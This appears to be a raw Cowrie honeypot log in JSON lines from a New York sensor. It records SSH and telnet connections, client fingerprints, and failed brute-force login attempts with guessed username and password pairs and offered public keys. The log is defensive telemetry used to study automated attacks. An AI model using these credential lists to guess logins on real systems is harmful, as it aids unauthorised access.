{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:39.878818Z","src_ip":"91.92.40.153","session":"c22f30da30ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:41.976577Z","src_ip":"139.99.74.35","session":"f85053463939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":35738,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c1243552e0a","protocol":"ssh","message":"New connection: 139.99.74.35:35738 (159.203.135.109:22) [session: 7c1243552e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:42.190204Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47222,"dst_ip":"10.17.0.5","dst_port":22,"session":"83e43008afa5","protocol":"ssh","message":"New connection: 91.92.40.153:47222 (10.17.0.5:22) [session: 83e43008afa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:44.075702Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":33404,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfd73ea6210d","protocol":"ssh","message":"New connection: 160.187.174.22:33404 (159.203.135.109:22) [session: bfd73ea6210d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:44.095666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:44.100178Z","src_ip":"160.187.174.22","session":"bfd73ea6210d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:44.118537Z","src_ip":"91.92.40.153","session":"83e43008afa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:44.207918Z","src_ip":"91.92.40.153","session":"83e43008afa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38632,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c2fec880ce4","protocol":"telnet","message":"New connection: 170.64.224.25:38632 (159.203.135.109:23) [session: 4c2fec880ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:44.289269Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:44.337219Z","src_ip":"160.187.174.22","session":"bfd73ea6210d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1","message":"login attempt [openclaw/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:44.686452Z","src_ip":"91.92.40.153","session":"83e43008afa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"123456","message":"login attempt [elsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:45.032981Z","src_ip":"160.187.174.22","session":"bfd73ea6210d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:45.967908Z","src_ip":"91.92.40.153","session":"83e43008afa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:46.275088Z","src_ip":"160.187.174.22","session":"bfd73ea6210d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40882,"dst_ip":"159.203.135.109","dst_port":23,"session":"76fee81d2601","protocol":"telnet","message":"New connection: 170.64.224.25:40882 (159.203.135.109:23) [session: 76fee81d2601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:48.905006Z"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:49.108972Z","src_ip":"139.99.74.35","session":"7c1243552e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":48642,"dst_ip":"159.203.135.109","dst_port":22,"session":"590b8bd36444","protocol":"ssh","message":"New connection: 139.99.74.35:48642 (159.203.135.109:22) [session: 590b8bd36444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:49.355895Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47250,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5ed28656dfc","protocol":"ssh","message":"New connection: 91.92.40.153:47250 (10.17.0.5:22) [session: e5ed28656dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:49.812784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:50.086008Z","src_ip":"91.92.40.153","session":"e5ed28656dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:50.088954Z","src_ip":"91.92.40.153","session":"e5ed28656dfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"12345","message":"login attempt [installer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:51.393139Z","src_ip":"91.92.40.153","session":"e5ed28656dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:52.889218Z","src_ip":"91.92.40.153","session":"e5ed28656dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:54.125147Z","src_ip":"139.99.74.35","session":"590b8bd36444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":48740,"dst_ip":"159.203.135.109","dst_port":22,"session":"5de7e4ea3df6","protocol":"ssh","message":"New connection: 139.99.74.35:48740 (159.203.135.109:22) [session: 5de7e4ea3df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:54.349457Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":34530,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5e9ec174532","protocol":"ssh","message":"New connection: 91.92.40.153:34530 (10.17.0.5:22) [session: e5e9ec174532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:55.690617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:55.933096Z","src_ip":"91.92.40.153","session":"e5e9ec174532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:55.938428Z","src_ip":"91.92.40.153","session":"e5e9ec174532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":34974,"dst_ip":"10.17.0.5","dst_port":22,"session":"428f60838ce8","protocol":"ssh","message":"New connection: 38.242.143.220:34974 (10.17.0.5:22) [session: 428f60838ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:56.334327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:56.337469Z","src_ip":"38.242.143.220","session":"428f60838ce8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:56.433131Z","src_ip":"38.242.143.220","session":"428f60838ce8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"venus2024","message":"login attempt [root/venus2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:56.702502Z","src_ip":"38.242.143.220","session":"428f60838ce8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:57.705716Z","src_ip":"91.92.40.153","session":"e5e9ec174532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:57.795683Z","src_ip":"38.242.143.220","session":"428f60838ce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":38068,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2f9046bff76","protocol":"ssh","message":"New connection: 186.233.184.67:38068 (10.17.0.5:22) [session: f2f9046bff76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:58.741349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:58.745528Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:58.782058Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:47:f5:d4:8c:eb:15:7b:32:1e:ae:26:35:a8:74:ba","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICT1fk+Q2p2Gp65q5M340pd7zP1S8fSZHC5+QJWlb7Tf","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c0:47:f5:d4:8c:eb:15:7b:32:1e:ae:26:35:a8:74:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:58.943815Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:47:f5:d4:8c:eb:15:7b:32:1e:ae:26:35:a8:74:ba","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICT1fk+Q2p2Gp65q5M340pd7zP1S8fSZHC5+QJWlb7Tf","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:58.948558Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:83:d3:42:11:ab:89:4d:73:39:c0:37:6a:ec:d8:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1fQBmlhZz1cuOYr/zX1Vwwtnc6XnUw1MWy1XB8+QTgf/gDN8ieSGYzEB1WZEYqtgfSspr7QkjtiM5thg4X7LeAvI235TqwL08WeviVj/wy1DcjsswAcTZx1rmE3D6aHZCQrJqTHvq7+RQf2iR3XLGA61k9A2BvjdnD0ta37cExPcQPfSLZbTFeSaZdm9gYL9s1F8hB1fBpRpwZ2j+xfckX2G2YYMFm+MAcVaajSyWzZoQTAZnK5KFmyhp+GWv3k9BzBTWgdEoHATSwEYe6hCG+PaWkW/MluqUh2uAXPjJH+vB0Mu/kAKf3WRH7V1LSdotf3DpiDb9wm9MyE1QreAz9otHV/cWDakVRH87YaxtOurLqZUfvRUGDlMrNbiaQV/ueMfVaDn1tSbuK8oO6sh9Rzt/SZqhXz1oKn4K/t0lU5+GgjO7grGCoJY/LrmBpmNFpZ6ORhkvxctCL1VjngOarWcZfmYbw17kBlLAe/ZaWkiLRWkwM0aFxQCnV+S8XzU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:83:d3:42:11:ab:89:4d:73:39:c0:37:6a:ec:d8:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:58.987430Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:83:d3:42:11:ab:89:4d:73:39:c0:37:6a:ec:d8:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1fQBmlhZz1cuOYr/zX1Vwwtnc6XnUw1MWy1XB8+QTgf/gDN8ieSGYzEB1WZEYqtgfSspr7QkjtiM5thg4X7LeAvI235TqwL08WeviVj/wy1DcjsswAcTZx1rmE3D6aHZCQrJqTHvq7+RQf2iR3XLGA61k9A2BvjdnD0ta37cExPcQPfSLZbTFeSaZdm9gYL9s1F8hB1fBpRpwZ2j+xfckX2G2YYMFm+MAcVaajSyWzZoQTAZnK5KFmyhp+GWv3k9BzBTWgdEoHATSwEYe6hCG+PaWkW/MluqUh2uAXPjJH+vB0Mu/kAKf3WRH7V1LSdotf3DpiDb9wm9MyE1QreAz9otHV/cWDakVRH87YaxtOurLqZUfvRUGDlMrNbiaQV/ueMfVaDn1tSbuK8oO6sh9Rzt/SZqhXz1oKn4K/t0lU5+GgjO7grGCoJY/LrmBpmNFpZ6ORhkvxctCL1VjngOarWcZfmYbw17kBlLAe/ZaWkiLRWkwM0aFxQCnV+S8XzU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:58.989987Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:f9:64:27:1f:91:65:38:b7:69:17:00:f5:e6:40:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpK+R8LNuN+0oBLDZ+HKt69vq3k92SBFLhSfTPLIU8ZUzgCrVXNwmsTrO5DFTGzkfWAgjCXp18o+Ldniqth1HJg7kq3QautadteToVfwpi4Tttah71F8QDF6bYZX5y84O//vs27yaVzAqLbuitA4KM6U9qcA0ED1yBDTueOZkYgmY/4sh1i4WMpr4+Czd7iBaScI1tk5xicBdcg2Yf1RUVelCfSubDDbtubYPbMYoqSMPOaNmtGbutsR+CVsIrgnZiKiqUszyup3w4/BISnsZ556qVjR/RjudTAhoAW4GH7iubIVp249Ce/5f0kZqP6KPQ1WUkiz4ClnRR1/PnGLN9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:f9:64:27:1f:91:65:38:b7:69:17:00:f5:e6:40:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:59.026980Z","src_ip":"186.233.184.67","session":"f2f9046bff76","protocol":"ssh"}
